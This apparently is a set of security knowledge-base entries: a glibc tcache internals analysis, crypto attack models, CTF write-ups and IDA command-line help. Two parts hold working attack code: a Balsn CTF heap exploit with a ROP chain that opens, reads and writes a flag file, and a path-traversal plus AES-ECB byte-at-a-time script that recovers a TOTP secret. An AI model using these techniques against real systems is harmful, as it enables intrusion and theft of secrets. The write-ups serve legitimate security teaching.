per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
static __thread tcache_perthread_struct *tcache = NULL;
```
每个 thread 都会维护一个 `tcache_perthread_struct`,它是整个 tcache 的管理结构,一共有 `TCACHE_MAX_BINS` 个计数器和 `TCACHE_MAX_BINS`项 tcache_entry,其中
- `tcache_entry` 用单向链表的方式链接了相同大小的处于空闲状态(free 后)的 chunk,这一点上和 fastbin 很像。
- `counts` 记录了 `tcache_entry` 链上空闲 chunk 的数目,每条链上最多可以有 7 个 chunk。
用图表示大概是:
## 基本工作方式
- 第一次 malloc 时,会先 malloc 一块内存用来存放 `tcache_perthread_struct` 。
- free 内存,且 size 小于 small bin size 时
- tcache 之前会放到 fastbin 或者 unsorted bin 中
- tcache 后:
- 先放到对应的 tcache 中,直到 tcache 被填满(默认是 7 个)
- tcache 被填满之后,再次 free 的内存和之前一样被放到 fastbin 或者 unsorted bin 中
- tcache 中的 chunk 不会合并(不取消 inuse bit)
- malloc 内存,且 size 在 tcache 范围内
- 先从 tcache 取 chunk,直到 tcache 为空
- tcache 为空后,从 bin 中找
- tcache 为空时,如果 `fastbin/smallbin/unsorted bin` 中有 size 符合的 chunk,会先把 `fastbin/smallbin/unsorted bin` 中的 chunk 放到 tcache 中,直到填满。之后再从 tcache 中取;因此 chunk 在 bin 中和 tcache 中的顺序会反过来
## 源码分析
接下来从源码的角度分析一下 tcache。
### __libc_malloc
第一次 malloc 时,会进入到 `MAYBE_INIT_TCACHE ()`
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3010)
```C
void *
__libc_malloc (size_t bytes)
{
......
......
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
// 根据 malloc 传入的参数计算 chunk 实际大小,并计算 tcache 对应的下标
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// 初始化 tcache
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins // 根据 size 得到的 idx 在合法的范围内
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) // tcache->entries[tc_idx] 有 chunk
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
......
......
}
```
### __tcache_init()
其中 `MAYBE_INIT_TCACHE ()` 在 tcache 为空(即第一次 malloc)时调用了 `tcache_init()`,直接查看 `tcache_init()`
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_init)
```C
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes); // 找到可用的 arena
victim = _int_malloc (ar_ptr, bytes); // 申请一个 sizeof(tcache_perthread_struct) 大小的 chunk
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim) // 初始化 tcache
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
```
`tcache_init()` 成功返回后,`tcache_perthread_struct` 就被成功建立了。
### 申请内存
接下来将进入申请内存的步骤
```C
// 从 tcache list 中获取内存
if (tc_idx < mp_.tcache_bins // 由 size 计算的 idx 在合法范围内
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) // 该条 tcache 链不为空
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
// 进入与无 tcache 时类似的流程
if (SINGLE_THREAD_P)
{
victim = _int_malloc (&main_arena, bytes);
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}
```
在 `tcache->entries` 不为空时,将进入 `tcache_get()` 的流程获取 chunk,否则与 tcache 机制前的流程类似,这里主要分析第一种 `tcache_get()`。这里也可以看出 tcache 的优先级很高,比 fastbin 还要高( fastbin 的申请在没进入 tcache 的流程中)。
### tcache_get()
看一下 `tcache_get()`
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_get)
```C
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]); // 获得一个 chunk,counts 减一
return (void *) e;
}
```
`tcache_get()` 就是获得 chunk 的过程了。可以看出这个过程还是很简单的,从 `tcache->entries[tc_idx]` 中获得第一个 chunk,`tcache->counts` 减一,几乎没有任何保护。
### __libc_free()
看完申请,再看看有 tcache 时的释放
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3068)
```C
void
__libc_free (void *mem)
{
......
......
MAYBE_INIT_TCACHE ();
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
```
`__libc_free()` 没有太多变化,`MAYBE_INIT_TCACHE ()` 在 tcache 不为空失去了作用。
### _int_free()
跟进 `_int_free()`
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#4123)
```C
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
......
......
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins // 64
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7
{
tcache_put (p, tc_idx);
return;
}
}
#endif
......
......
```
判断 `tc_idx` 合法,`tcache->counts[tc_idx]` 在 7 个以内时,就进入 `tcache_put()`,传递的两个参数是要释放的 chunk 和该 chunk 对应的 size 在 tcache 中的下标。
### tcache_put()
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#2907)
```C
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
```
`tcache_puts()` 完成了把释放的 chunk 插入到 `tcache->entries[tc_idx]` 链表头部的操作,也几乎没有任何保护。并且 **没有把 p 位置零**。
## 参考
- http://tukan.farm/2017/07/08/tcache/
- https://github.com/bash-c/slides/blob/master/pwn_heap/tcache_exploitation.pdf
- https://www.secpulse.com/archives/71958.html
|
sec-knowleage
|
### Crypto攻击模式概述
在我们攻击一个密码学系统时,我们或多或少会得到关于这个系统的一些信息。根据得到信息量的不同,我们可以采用的方法就可能不同。在当今的密码学分析时,一般我们都会假设攻击者知道密码学算法,这个假设是合理的,因为历史上有很多保密的算法最后都被人所知,比如 RC4。被知道的方式多重多样,比如间谍,逆向工程等。
这里我们根据攻击者获取密码学系统的信息的多少将攻击模式分为以下几类
- **唯密文攻击**:攻击者仅能获得一些加密过的密文。
- **已知明文攻击**:攻击者有一些密文对应的明文。
- **选择明文攻击**:攻击者在开始攻击时可以选择一些明文,并获取加密后的密文。如果攻击者在攻击中途可以根据已经获取的信息选择新的明文并获取对应的密文,则称为适应性选择明文攻击。
- **选择密文攻击**:攻击者在开始攻击之前可以选择一些密文,并获取解密后的明文。如果攻击者在攻击图中可以根据已经获取的信息选择一些新的密文并获取对应的明文,则称为适应性选择密文攻击。
- **相关密钥攻击**:攻击者可以获得两个或多个相关密钥的加密或解密后的密文或明文。但是攻击者不知道这些密钥。
### Crypto常见攻击方法
根据不同的攻击模式,可能会有不同的攻击方法,目前常见的攻击方法主要有
- 暴力攻击
- 中间相遇攻击
- 线性分析
- 差分分析
- 不可能差分分析
- 积分分析
- 代数分析
- 相关密钥攻击
- 侧信道攻击
|
sec-knowleage
|
### C 沙盒逃逸orw介绍
有些时候 pwn 题目中为了增加难度,会使用类似 [seccomp](https://en.wikipedia.org/wiki/Seccomp) 的函数来禁用一部分系统调用,往往会把 execve 这种系统调用禁用掉,基本上拿 shell 是不可能了,但是我们 pwn 题是面向 flag 的,所以还是可以通过 orw( open-read-write )的方法来读出 flag 的。在栈上的 orw 和 普通 rop 其实没有什么特别大的区别,这里主要谈一谈堆利用中的白名单绕过。
一般来说,开启了白名单的堆利用类题,我们会在劫持了某钩子函数如 __free_hook 或 got 表之后考虑实现 orw,这个时候我们只可以注入一个 gadget,一般来说我们希望这个 gadget 能够实现栈迁移,一种比较通用的做法是利用 setcontext 函数,其在 libc-2.29 中实现为
```
.text:0000000000055E00 ; __unwind {
.text:0000000000055E00 push rdi
.text:0000000000055E01 lea rsi, [rdi+128h] ; nset
.text:0000000000055E08 xor edx, edx ; oset
.text:0000000000055E0A mov edi, 2 ; how
.text:0000000000055E0F mov r10d, 8 ; sigsetsize
.text:0000000000055E15 mov eax, 0Eh
.text:0000000000055E1A syscall ; LINUX - sys_rt_sigprocmask
.text:0000000000055E1C pop rdx
.text:0000000000055E1D cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23 jnb short loc_55E80
.text:0000000000055E25 mov rcx, [rdx+0E0h]
.text:0000000000055E2C fldenv byte ptr [rcx]
.text:0000000000055E2E ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35 mov rsp, [rdx+0A0h]
.text:0000000000055E3C mov rbx, [rdx+80h]
.text:0000000000055E43 mov rbp, [rdx+78h]
.text:0000000000055E47 mov r12, [rdx+48h]
.text:0000000000055E4B mov r13, [rdx+50h]
.text:0000000000055E4F mov r14, [rdx+58h]
.text:0000000000055E53 mov r15, [rdx+60h]
.text:0000000000055E57 mov rcx, [rdx+0A8h]
.text:0000000000055E5E push rcx
.text:0000000000055E5F mov rsi, [rdx+70h]
.text:0000000000055E63 mov rdi, [rdx+68h]
.text:0000000000055E67 mov rcx, [rdx+98h]
.text:0000000000055E6E mov r8, [rdx+28h]
.text:0000000000055E72 mov r9, [rdx+30h]
.text:0000000000055E76 mov rdx, [rdx+88h]
.text:0000000000055E76 ; } // starts at 55E00
```
当然其他版本也大同小异,可见在这个函数中有对 rsp 的赋值,如果我们可以控制 rdx,就可以控制 rsp 实现栈迁移了。
### C 沙盒逃逸例题
#### Balsn_CTF_2019-PlainText
##### 分析
在 orw 之前的利用这里不再赘述,请见《Glibc Heap 利用》目录下的《堆中的 Off-By-One》中对此题的分析
比较讨厌的是,在 libc-2.29 下,free 函数不会再将 rdi 赋值给 rdx,我们无法直接控制 rdx,仅能控制 rdi,幸好比较巧合的,在本题的 libc 中有这样一个 gadget
```
0x12be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
```
通过使用这个 gadget 之后改变 rdx,ret 到 setcontext 之后就可以 rop 了(这个 chunk 无法通过 ROPgadget 找出,需要使用 ropper)。
##### exploit
这里只给出 payload
```python
## alloc to __free_hook ##
magic_gadget = libc_base + 0x12be97
add(0x28,p64(magic_gadget)) # 73
pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
syscall_ret = libc_base + 0xcf6c5
pop_rax_ret = libc_base + 0x47cf8
ret = libc_base + 0xc18ff
payload_addr = heap_base + 0x270
str_flag_addr = heap_base + 0x270 + 5 * 0x8 + 0xB8
rw_addr = heap_base
payload = p64(libc_base + 0x55E35) # rax
payload += p64(payload_addr - 0xA0 + 0x10) # rdx
payload += p64(payload_addr + 0x28)
payload += p64(ret)
payload += ''.ljust(0x8,'\x00')
rop_chain = ''
rop_chain += p64(pop_rdi_ret) + p64(str_flag_addr) # name = "./flag"
rop_chain += p64(pop_rsi_ret) + p64(0)
rop_chain += p64(pop_rdx_ret) + p64(0)
rop_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # sys_open
rop_chain += p64(pop_rdi_ret) + p64(3) # fd = 3
rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["read"])
rop_chain += p64(pop_rdi_ret) + p64(1) # fd = 1
rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["write"])
payload += rop_chain
payload += './flag\x00'
add(len(payload) + 0x10,payload) # 74
#gdb.attach(proc.pidof(sh)[0])
delete(74)
sh.interactive()
```
|
sec-knowleage
|
# Strange Game
Category: Misc., 100 Points
## Description
> It's just winning a simple game.
>
> What could go wrong?
## Solution
Let's connect to the attached service:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Strange_Game]
└─$ nc strange-game.csa-challenge.com 4444
==================
Strange Game
==================
• We take turns picking numbers from 1 to 9.
• The same number can't be chosen twice.
• First player to hold 3 numbers which, when added, make 15, wins.
• If all numbers are exhausted without a winner, the game is a tie.
• We will play 15 rounds of this game, alternating who goes first.
• Win or tie all 15 rounds and I'll give you the flag.
Press any key...
```
Sounds simple enough. Let's try to play:
```
Round 1!
==================================================
New game
I'll go first.
==================================================
Available moves: 1 2 3 4 5 6 7 8 9
Past moves:
Player One: None
Player Two: None
Game still in progress
I choose to play 4.
==================================================
==================================================
Available moves: 1 2 3 5 6 7 8 9
Past moves:
Player One: 4
Player Two: None
Game still in progress
Choose your move: 6
==================================================
==================================================
Available moves: 1 2 3 5 7 8 9
Past moves:
Player One: 4
Player Two: 6
Game still in progress
I choose to play 8.
==================================================
==================================================
Available moves: 1 2 3 5 7 9
Past moves:
Player One: 8 4
Player Two: 6
Game still in progress
Choose your move: 3
==================================================
==================================================
Available moves: 1 2 5 7 9
Past moves:
Player One: 8 4
Player Two: 3 6
Game still in progress
I choose to play 2.
==================================================
==================================================
Available moves: 1 5 9 7
Past moves:
Player One: 8 2 4
Player Two: 3 6
Game still in progress
Choose your move: 5
==================================================
==================================================
Available moves: 1 9 7
Past moves:
Player One: 8 2 4
Player Two: 3 5 6
Game still in progress
I choose to play 9.
==================================================
==================================================
Available moves: None
Past moves:
Player One: 8 9 2 4
Player Two: 3 5 6
Winner: Player One
You lose!
Better luck next time!
```
Well, the computer seems pretty good at this. Doesn't seem very fair though, it can efficiently review all current and future moves to choose the optimal one. We should do the same.
We'll start by implementing a basic representation of the game, in a file called `number_scrabble.py` (since from a quick search, that's what the game is called).
```python
__all__ = ['NumberScrabble', 'Players']
from enum import Enum
from math import inf
from collections import namedtuple
from itertools import combinations
from functools import reduce
from typing import List, Tuple
import operator
TARGET_SCORE = 15
VALID_MOVES = range(1, 10)
TUPLE_LENGTH = 3
OR_BITS = lambda bit_nums: reduce(operator.or_, (1 << bit_num for bit_num in bit_nums))
IS_BIT_SET = lambda value, bit_num: value & (1 << bit_num)
SET_BIT = lambda value, bit_num: value | (1 << bit_num)
UNSET_BIT = lambda value, bit_num: value & (~(1 << bit_num))
GET_BITS_SET = lambda value: [i for i in VALID_MOVES if IS_BIT_SET(value, i)]
WINNING_STATES_BITMASK = [OR_BITS(t) for t in combinations(VALID_MOVES, TUPLE_LENGTH) if sum(t) == TARGET_SCORE]
ALL_MOVES_BITMASK = OR_BITS(VALID_MOVES)
MiniMaxResult = namedtuple("MiniMaxResult", "move score")
class Players(Enum):
MY_PLAYER = 1
OTHER_PLAYER = 2
class NumberScrabble():
def __init__(self):
self.moves = {
Players.MY_PLAYER: 0,
Players.OTHER_PLAYER: 0
}
pass
def make_move(self, player: Players, move: int) -> None:
if not IS_BIT_SET(self._available_moves, move):
raise ValueError(f"Move {move} not available")
self.moves[player] = SET_BIT(self.moves[player], move)
def undo_move(self, player: Players, move: int) -> None:
if not IS_BIT_SET(self.moves[player], move):
raise ValueError(f"Move {move} never performed by player {player}")
self.moves[player] = UNSET_BIT(self.moves[player], move)
@property
def _available_moves(self) -> int:
return (~(self.moves[Players.MY_PLAYER] | self.moves[Players.OTHER_PLAYER])) & ALL_MOVES_BITMASK
@property
def available_moves(self) -> List[int]:
return GET_BITS_SET(self._available_moves)
def __str__(self) -> str:
return f"NumberScrabble(My moves = {GET_BITS_SET(self.moves[Players.MY_PLAYER])}, " \
f"Other moves = {GET_BITS_SET(self.moves[Players.OTHER_PLAYER])}, " \
f"Available moves: {GET_BITS_SET(self._available_moves)})"
def __repr__(self) -> str:
return str(self)
def player_wins(self, player: Players) -> bool:
return any( ((self.moves[player] & winning_state) == winning_state) for winning_state in WINNING_STATES_BITMASK)
def game_over(self) -> bool:
return any(self.player_wins(player) for player in Players) or self._available_moves == 0
def get_best_move(self) -> int:
# TODO: Implement
```
This implementation uses bitmasks under the hood to represent the game state. Each player has an integer representing the moves they've made by setting the matching bit. For example, if we choose the number `1`, the value will be `0b0000000010`, and if we later choose the number `3`, the value will turn to `0b0000001010`.
We precalculate the different winning states once using:
```python
>>> WINNING_STATES_BITMASK = [OR_BITS(t) for t in combinations(VALID_MOVES, TUPLE_LENGTH) if sum(t) == TARGET_SCORE]
>>> [bin(x) for x in WINNING_STATES_BITMASK]
['0b1000100010', '0b101000010', '0b1000010100', '0b100100100', '0b11000100', '0b100011000', '0b10101000', '0b1110000']
>>> [GET_BITS_SET(x) for x in WINNING_STATES_BITMASK]
[[1, 5, 9], [1, 6, 8], [2, 4, 9], [2, 5, 8], [2, 6, 7], [3, 4, 8], [3, 5, 7], [4, 5, 6]]
```
This means that checking if a player won can simply be done using basic bitwise operations - we just need to check if the bits set in the player's moves are a match with one of the winning states.
Notice that we've left a placeholder for `get_best_move` - this is how we'll decide what's the optimal move we should make. We'll implement that soon enough.
At this point we can go on and implement the wrapping logic for our game representation. This is the logic that is responsible for interacting with the challenge server on one hand and with our game representation on the other hand.
```python
from pwn import *
from number_scrabble import *
NUM_ROUNDS = 15
context.newline = b'\r\n'
r = remote("strange-game.csa-challenge.com", 4444)
for round in range(NUM_ROUNDS):
r.sendafter(b"Press any key...", b"\n")
r.recvuntil(b"New game\r\n")
current_player = {"I'll go first.": Players.OTHER_PLAYER, "You go first.": Players.MY_PLAYER}[r.recvlineS(keepends = False)]
log.info(f"New game (round #{round + 1}), first player: {current_player.name}")
ns = NumberScrabble()
done = False
with log.progress('Playing...') as p:
while True:
r.recvuntil(b"Available moves: ")
available_moves = r.recvlineS(keepends = False)
if available_moves == "None":
r.recvline()
result = r.recvuntilS(b'\r\n\r\n')
break
if current_player == Players.OTHER_PLAYER:
r.recvuntil(b"I choose to play")
move = int(r.recvuntil(b".", drop = True))
p.status(f"They chose {move}")
ns.make_move(current_player, move)
current_player = Players.MY_PLAYER
elif current_player == Players.MY_PLAYER:
p.status(f"Calculating best move")
best_move = ns.get_best_move()
p.status(f"I chose {best_move}")
ns.make_move(current_player, best_move)
r.sendafter(b"Choose your move: ", f"{best_move}\n".encode("ascii"))
current_player = Players.OTHER_PLAYER
log.info(f"Game over:\n{result}")
```
Nothing too fancy here, just read the state from the server, update the game representation with the state and query the suggested move, then update the server and repeat.
All that's left is to implement `get_best_move`. Now, one very interesting thing about [Number Scrabble](https://en.wikipedia.org/wiki/Number_Scrabble) is:
> Number Scrabble (also known as Pick15 or 3 to 15) is a mathematical game where players take turns to select numbers from 1 to 9 without repeating any numbers previously used, and the first player with a sum of exactly 15 using any three of their number selections wins the game. The game is isomorphic to tic-tac-toe, as can be seen if the game is mapped onto a magic square.
This game is just a fancy way to play tic-tac-toe:
> The game is identical to tic-tac-toe, as can be seen by reference to a 3x3 magic square: If a player has selected three numbers which can be found in a line on a magic square, they will add up to 15. If they have selected any other three numbers, they will not.
```
+---+---+---+
| 2 | 7 | 6 |
+---+---+---+
| 9 | 5 | 1 |
+---+---+---+
| 4 | 3 | 8 |
+---+---+---+
```
So, if we research [tic-tac-toe](https://en.wikipedia.org/wiki/Tic-tac-toe) a bit, we'll find that "it is a solved game with a forced draw assuming best play from both players", and that the best play can be calculated using an algorithm called [Minimax](https://en.wikipedia.org/wiki/Minimax):
> Minimax (sometimes MinMax, MM[1] or saddle point[2]) is a decision rule used in artificial intelligence, decision theory, game theory, statistics, and philosophy for minimizing the possible loss for a worst case (maximum loss) scenario. When dealing with gains, it is referred to as "maximin"—to maximize the minimum gain.
>
> ...
>
> A simple version of the minimax algorithm, deals with games such as tic-tac-toe, where each player can win, lose, or draw. If player A can win in one move, their best move is that winning move. If player B knows that one move will lead to the situation where player A can win in one move, while another move will lead to the situation where player A can, at best, draw, then player B's best move is the one leading to a draw. Late in the game, it's easy to see what the "best" move is. The Minimax algorithm helps find the best move, by working backwards from the end of the game. At each step it assumes that player A is trying to maximize the chances of A winning, while on the next turn player B is trying to minimize the chances of A winning (i.e., to maximize B's own chances of winning).
The Minimax algorithm is pretty simple to implement:
```python
def _calc_score(state: NumberScrabble) -> int:
if state.player_wins(Players.MY_PLAYER):
return +1
elif state.player_wins(Players.OTHER_PLAYER):
return -1
else:
return 0
def _minimax(depth, state: NumberScrabble, player: Players) -> Tuple[int, int]:
if state.game_over():
score = _calc_score(state)
return MiniMaxResult(None, score)
if player == Players.MY_PLAYER:
best_result = MiniMaxResult(None, -inf)
next_player = Players.OTHER_PLAYER
else:
assert(player == Players.OTHER_PLAYER)
best_result = MiniMaxResult(None, +inf)
next_player = Players.MY_PLAYER
for move in state.available_moves:
state.make_move(player, move)
result = _minimax(depth + 1, state, next_player)
state.undo_move(player, move)
if player == Players.MY_PLAYER:
if result.score > best_result.score:
best_result = MiniMaxResult(move, result.score)
else:
if result.score < best_result.score:
best_result = MiniMaxResult(move, result.score)
return best_result
```
And our `get_best_move` method becomes:
```python
def get_best_move(self) -> int:
return _minimax(0, self, Players.MY_PLAYER).move
```
As stated in the Wikipedia article, by playing an optimal strategy we can always at least force a draw. Let's see if it works:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Strange_Game]
└─$ python3 solve.py
[+] Opening connection to strange-game.csa-challenge.com on port 4444: Done
[*] New game (round #1), first player: OTHER_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 3 6 7 8 9
Player Two: 1 2 4 5
Game tied
[*] New game (round #2), first player: MY_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 1 2 3 4 7
Player Two: 8 9 5 6
Game tied
[*] New game (round #3), first player: OTHER_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 5 6 7 8 9
Player Two: 1 2 3 4
Game tied
[*] New game (round #4), first player: MY_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 1 2 3 4 7
Player Two: 8 9 5 6
Game tied
[*] New game (round #5), first player: OTHER_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 3 6 7 8 9
Player Two: 1 2 4 5
Game tied
[*] New game (round #6), first player: MY_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 1 2 3 4 7
Player Two: 8 9 5 6
Game tied
[*] New game (round #7), first player: OTHER_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 5 6 7 8 9
Player Two: 1 2 3 4
Game tied
[*] New game (round #8), first player: MY_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 1 2 3 4 5
Player Two: 8 9 6 7
Game tied
[*] New game (round #9), first player: OTHER_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 3 6 7 8 9
Player Two: 1 2 4 5
Game tied
[*] New game (round #10), first player: MY_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 1 2 3 4 7
Player Two: 8 9 5 6
Game tied
[*] New game (round #11), first player: OTHER_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 2 3 6 8 9
Player Two: 1 4 5 7
Game tied
[*] New game (round #12), first player: MY_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 1 2 3 4 5
Player Two: 8 9 6 7
Game tied
[*] New game (round #13), first player: OTHER_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 4 6 7 8 9
Player Two: 1 2 3 5
Game tied
[*] New game (round #14), first player: MY_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 1 2 3 4 7
Player Two: 8 9 5 6
Game tied
[*] New game (round #15), first player: OTHER_PLAYER
[+] Playing...: Done
[*] Game over:
Player One: 4 6 7 8 9
Player Two: 1 2 3 5
Game tied
Congratulations!
CSA{https://www.youtube.com/watch?v=NHWjlCaIrQo}
[*] Closed connection to strange-game.csa-challenge.com port 4444
```
Looks like "the only winning move is not to play".
|
sec-knowleage
|
# Federation Workflow System (crypto, 40 solved, 119p)
```
The source code for the Federation Workflow System has been leaked online this night.
Our goal is to inspect it and gain access to their Top Secret documents.
nc crypto-04.v7frkwrfyhsjtbpfcppnu.ctfz.one 7331
```
In the task we get [client](client.py) and [server](server.py) sources.
Using the client we can connect to the server and:
- list files on the server
- get AES-ECB encrypted file contents
- login as admin and receive the flag, if we can provide a proper one-time-password
Once we examine the server code we can see that file list is hardcoded, so not very useful.
We can also see that what we get is not exactly encrypted file contents but in fact:
```python
content = self.read_file(file)
response = '{0}: {1}'.format(file, content)
encrypted_response = self.encrypt(response)
```
So file contents, but prefixed by filename we provide!
File names are `sanitized` but in a strange way:
```python
def sanitize(self, file):
try:
if file.find('\x00') == -1:
file_name = file
else:
file_name = file[:file.find('\x00')]
file_path = os.path.realpath('files/{0}'.format(file_name))
if file_path.startswith(os.getcwd()):
return file_path
else:
return None
```
This simply removes anything after first nullbyte from the filename.
So if we request files `XXX\0` and `XXX\0\0\0` we would get identical result.
We can also see that we could in fact request any file from CWD by sending `../somefilename`and jumping out of `files` directory.
If we look at config files the server uses we can see:
```
self.log_path = '../top_secret/server.log'
self.real_flag = '../top_secret/real.flag'
self.aes_key = '../top_secret/aes.key'
self.totp_key = 'totp.secret'
```
So the flag, aes key and logs are out of our reach, but `totp.secret` file is not!
We could request this file from the server.
Now let's examine the `admin` command.
It's pretty straightforward - it checks the OTP and if it matches we get the flag.
OTP seems solid:
```
def totp(self, secret):
counter = pack('>Q', int(time()) // 30)
totp_hmac = hmac.new(secret.encode('UTF-8'), counter, sha1).digest()
offset = ord(totp_hmac[19]) & 15
totp_pin = str((unpack('>I', totp_hmac[offset:offset + 4])[0] & 0x7fffffff) % 1000000)
return totp_pin.zfill(6)
```
It's time based, but we actually get the time from the server right after we login.
So the only unknown value is actually the `secret`, which is collected from the `totp.secret` file.
If we can get contents of this file, we can calculate OTP and login as admin.
We mentioned earlier that what we get is not only the content of the file, but also the filename, and that we could add as many nullbytes as we want to the filename, and still get the right file.
We could utilize those properties to recover decrypted contents of the file!
This is because we can decrypt any AES-ECB ciphertext suffix, as long as we control the prefix.
The idea is pretty simple:
- We send payload which fills the first block, leaving only a single byte available in this block.
- The first byte of suffix falls into this last byte, so we have something like `XXXXXXXXXXXXXXXS | UFFIXSUFFIXSUFFI`, where `|` is the block boundary.
- Now we encrypt 256 payloads, each one with the same prefix but the last byte of the block is changing, so we have `XXXXXXXXXXXXXXXA`, `XXXXXXXXXXXXXXXB`, `XXXXXXXXXXXXXXXC`...
- Last step is to compare the first ciphertext we got, with the last byte set by suffix, with the ciphertexts generated each with different last byte. One of those have to match, and thus we learn what is the first byte of suffix.
- We can repeat this process for the second byte, by simply shifting to the left by 1 byte. We can also extend this to recover more blocks, simply by sending more padding bytes to fill more blocks.
The code to achieve this is:
```python
def brute_ecb_suffix(encrypt_function, block_size=16, expected_suffix_len=32, pad_char='A'):
suffix = ""
recovery_block = expected_suffix_len / block_size - 1
for i in range(expected_suffix_len - len(suffix) - 1, -1, -1):
data = pad_char * i
correct = chunk(encrypt_function(data), block_size)[recovery_block]
for character in range(256):
c = chr(character)
test = data + suffix + c
try:
encrypted = chunk(encrypt_function(test), block_size)[recovery_block]
if correct == encrypted:
suffix += c
print('FOUND', expected_suffix_len - i, c)
break
except:
pass
return suffix
```
Available in our crypto-commons as well.
We combine this with function:
```python
def encrypt(pad):
return send("file ../totp.secret\0\0" + pad).decode("base64")[16:]
```
And we can recover contents of the `totp.secret` file -> `0b25610980900cffe65bfa11c41512e28b0c96881a939a2d`.
Now we can simply connect to the server, calculate OTP and grab flag with `admin` command:
```python
def main():
# secret = brute_ecb_suffix(encrypt, 16, 64, '\0')[2:]
secret = '0b25610980900cffe65bfa11c41512e28b0c96881a939a2d'
result = send('login')
time = int(result)
print(send('admin ' + totp(secret, time)))
```
And we get back: `ctfzone{A74D92B6E05F4457375AC152286C6F51}`
|
sec-knowleage
|
## Command line swithes
IDA can be launched with one of the following command lines:
- idaq input-file (All platforms: start graphical interface)
- idaw input-file (Windows: start text interface)
- idal input-file (Linux/Mac: start text interface)
Add the '64' postfix to the command name in order to start the 64-bit version of IDA. For example:
```idaq64 input-file```
will start 64-bit graphical interface.
The following command line switches are recognized:
```
-a disable auto analysis
-A autonomous mode. IDA will not display dialog boxes.
Designed to be used together with -S switch.
-b#### loading address, a hexadecimal number, in paragraphs
(a paragraph is 16 bytes)
-B batch mode. IDA will generate .IDB and .ASM files automatically
-c disassemble a new file (delete the old database)
-ddirective
A configuration directive which must be processed at the first
pass. Example:
-dVPAGESIZE=8192
-Ddirective
A configuration directive which must be processed at the second
pass.
-f disable FPP instructions (IBM PC only)
-h help screen
-i#### program entry point (hex)
-I# set IDA as just-in-time debugger (0 to disable and 1 to enable)
-L#### name of the log file
